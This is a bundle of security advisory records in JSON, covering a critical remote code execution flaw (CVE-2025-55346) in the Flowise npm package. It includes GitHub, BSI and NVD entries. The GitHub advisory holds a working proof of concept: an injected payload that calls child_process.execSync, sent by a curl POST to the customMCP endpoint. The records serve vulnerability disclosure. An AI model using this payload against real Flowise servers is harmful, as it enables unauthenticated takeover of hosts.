{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.7-patch.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-627",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-06T14:08:45Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nUser-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. \n\n### Details\nWhen creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:\n```json\n{\n\t\"command\": \"npx\",\n\t\"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}\n```\n\nBehind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):\n```json\n{\n...SNIP...\n\n   \"inputs\":{\n      \"mcpServerConfig\":{\n         \"command\":\"npx\",\n         \"args\":[\n            \"-y\",\n            \"@modelcontextprotocol/server-filesystem\",\n            \"/path/to/allowed/files\"\n         ]\n      }\n   },\n   \"loadMethod\":\"listActions\"\n   \n...SNIP...\n}\n```\n\nSending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example:\n```json\n{\n   \"inputs\":{\n      \"mcpServerConfig\":\"test\"\n   },\n   \"loadMethod\":\"listActions\"\n}\n```\n\nWe enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103):\nhttps://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103\n\n```typescript\nasync getTools(nodeData: INodeData): Promise\u003cTool[]\u003e {\n        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string\n\n        if (!mcpServerConfig) {\n            throw new Error(\u0027MCP Server Config is required\u0027)\n        }\n\n        try {\n            let serverParams\n            if (typeof mcpServerConfig === \u0027object\u0027) {\n                serverParams = mcpServerConfig\n            } else if (typeof mcpServerConfig === \u0027string\u0027) {\n                const serverParamsString = convertToValidJSONString(mcpServerConfig) \u003c--\n                serverParams = JSON.parse(serverParamsString)\n            }\n\n            const toolkit = new MCPToolkit(serverParams, \u0027stdio\u0027)\n            await toolkit.initialize()\n\n            const tools = toolkit.tools ?? []\n\n            return tools as Tool[]\n        } catch (error) {\n            throw new Error(`Invalid MCP Server Config: ${error}`)\n        }\n    }\n}\n```\n\nHere, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:\n\n```typescript\nfunction convertToValidJSONString(inputString: string) {\n    try {\n        const jsObject = Function(\u0027return \u0027 + inputString)()\n        return JSON.stringify(jsObject, null, 2)\n    } catch (error) {\n        console.error(\u0027Error converting to JSON:\u0027, error)\n        return \u0027\u0027\n    }\n}\n```\n\nThis JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.\n\nThis enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution.\n```json\n{\n    \"inputs\":{\n        \"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"\n        },\n    \"loadMethod\":\"listActions\"\n}\n```\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"},\n\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n### Impact\nRemote code execution\n\n## Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
  "id": "GHSA-hmgh-466j-fx4c",
  "modified": "2025-10-06T14:08:45Z",
  "published": "2025-10-06T14:08:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hmgh-466j-fx4c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise vulnerable to RCE via Dynamic function constructor injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-14T16:42:36Z",
    "nvd_published_at": "2025-08-14T10:15:26Z",
    "severity": "CRITICAL"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hmgh-466j-fx4c. This link is maintained to preserve external references.\n\n### Original Description\nUser-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.",
  "id": "GHSA-q4xx-mc3q-23x8",
  "modified": "2025-10-03T21:50:37Z",
  "published": "2025-08-14T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Flowise vulnerable to RCE via Dynamic function constructor injection",
  "withdrawn": "2025-10-03T21:50:37Z"
}

{
  "document": {
    "aggregate_severity": {
      "text": "kritisch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Flowise ist eine Benutzeroberfl\u00e4che zur Erstellung von LLMs (Large Language Model).",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode oder Kommandos auszuf\u00fchren.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- UNIX",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2025-1836 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2025/wid-sec-w-2025-1836.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2025-1836 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2025-1836"
      },
      {
        "category": "external",
        "summary": "JFrog Advisory JFSA-2025-001380578Flowise vom 2025-08-13",
        "url": "https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/"
      },
      {
        "category": "external",
        "summary": "JFrog Advisory JFSA-2025-001379925Flowise vom 2025-08-13",
        "url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925/"
      }
    ],
    "source_lang": "en-US",
    "title": "Flowise: Mehrere Schwachstellen erm\u00f6glichen Codeausf\u00fchrung",
    "tracking": {
      "current_release_date": "2025-08-14T22:00:00.000+00:00",
      "generator": {
        "date": "2025-08-15T07:22:19.673+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.4.0"
        }
      },
      "id": "WID-SEC-W-2025-1836",
      "initial_release_date": "2025-08-13T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2025-08-13T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2025-08-14T22:00:00.000+00:00",
          "number": "2",
          "summary": "Referenz(en) aufgenommen: EUVD-2025-24801, GHSA-Q4XX-MC3Q-23X8, GHSA-2VV2-3X8X-4GV7, EUVD-2025-24803"
        }
      ],
      "status": "final",
      "version": "2"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "category": "product_name",
            "name": "Open Source Flowise",
            "product": {
              "name": "Open Source Flowise",
              "product_id": "1639231",
              "product_identification_helper": {
                "cpe": "cpe:/a:flowiseai:flowise:-"
              }
            }
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2025-55346",
      "product_status": {
        "known_affected": [
          "1639231"
        ]
      },
      "release_date": "2025-08-13T22:00:00.000+00:00",
      "title": "CVE-2025-55346"
    },
    {
      "cve": "CVE-2025-8943",
      "product_status": {
        "known_affected": [
          "1639231"
        ]
      },
      "release_date": "2025-08-13T22:00:00.000+00:00",
      "title": "CVE-2025-8943"
    }
  ]
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request."
    },
    {
      "lang": "es",
      "value": "Los flujos de entrada controlados por el usuario conducen a una implementaci\u00f3n insegura de un constructor de funci\u00f3n din\u00e1mico, lo que permite a los atacantes de la red ejecutar c\u00f3digo JS arbitrario no protegido en el contexto del host, enviando una simple solicitud POST."
    }
  ],
  "id": "CVE-2025-55346",
  "lastModified": "2025-08-14T16:15:41.183",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "reefs@jfrog.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-08-14T10:15:26.553",
  "references": [
    {
      "source": "reefs@jfrog.com",
      "url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925/"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925/"
    }
  ],
  "sourceIdentifier": "reefs@jfrog.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "reefs@jfrog.com",
      "type": "Secondary"
    }
  ]
}